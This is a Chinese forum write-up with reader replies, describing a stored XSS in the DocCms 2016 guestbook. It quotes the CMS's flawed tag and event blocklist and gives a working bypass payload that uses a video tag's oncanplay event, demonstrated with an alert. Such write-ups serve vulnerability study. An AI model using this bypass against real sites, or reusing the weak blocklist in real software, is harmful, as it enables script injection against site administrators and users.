用户
搜索

该用户从未签到

i春秋-呆萌菜鸟

Rank: 1

1

主题

4

帖子

26

魔法币
收听
0
粉丝
0
注册时间
2017-3-14
发表于 2017-8-5 17:08:47 89540
一个闲的蛋疼的周末,总想搞点事情,于是在网上找到了个cms系统,得挖出点什么来,嘿嘿
01.png
http://www.doccms.com/DocCms2016/
下载完安装后,默认前台交互处少的可怜,只有一个在线留言处,既然有在线留言,我想你们跟我一样,都想到了insert注入和储存型XSS,可惜注入经过多次测试发现被完全过滤死了。只能玩玩XSS。
0.png
像往常一样输入XSS代码然后进入后台查看过滤了哪些
001.png
后台查看源代码
08.png
我们插入的代码是
[JavaScript] 纯文本查看 复制代码
<script>alert(0)</script>

程序过滤后是:
[JavaScript] 纯文本查看 复制代码
<sc<x>ript>alert(0)</sc<x>ript> 

那么我们看下程序是如何过滤的:
[PHP] 纯文本查看 复制代码
  //inc/function.php 505-507行
    $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
    $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
    $ra = array_merge($ra1, $ra2);

$ra1定义的过滤标签,可以看到常见的script,iframe,link都在其中

$ra2定义的过滤事件,喜闻乐见的onclick,ondblclick,oncopy也都被过滤掉了。

把上面随便一句代码复制到搜索引擎,你会发现这整个过滤函数都是在程序员无脑copy的

09.png
那么到底能不能绕过呢?
答案是肯定能绕过的,我大JavaScript岂止这些事件?经过fuzz后,还有这些关键字没被过滤掉
00-.png
此时oncanplay事件是无疑是最好的,因为他无需交互,打开直接执行代码,并支持所有浏览器
-0.png
ncanplay事件为当在视频(video)准备开始播放时执行
此事件需要配合video标签,巧的是在$ra1中,video标签也没被过滤
[JavaScript] 纯文本查看 复制代码
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');

那么构造出Payload:
[JavaScript] 纯文本查看 复制代码
<video width="0" height="0" oncanplay=alert`0`>
	<source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">
</video>

再次尝试:
--.png
进入后台查看留言处
--=.png
查看源代码:
0-.png

原文链接:https://zhuanlan.zhihu.com/p/28330833




评分

参与人数 2积分 +5 魔法币 +8 收起 理由
机械鸥 + 3 感谢发布原创作品,i春秋论坛因你更精彩!.
wyldlmu + 5 + 5

查看全部评分

发表于 2017-8-5 18:25:35
前排围观。
静静的看你们装逼
使用道具 举报 回复
二排围观
使用道具 举报 回复
怎么模糊测试的,脚本能发一下吗
使用道具 举报 回复
四排围观
使用道具 举报 回复
发表于 2017-8-8 10:32:37
表哥,我想学fuzz
使用道具 举报 回复
发表于 2017-8-10 09:59:46
学习思路
使用道具 举报 回复
发表于 2017-8-17 09:56:18
嗯,思路学习了
使用道具 举报 回复
发表于 2017-10-3 15:01:48
围观学习!
用代码将梦想照进现实!
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册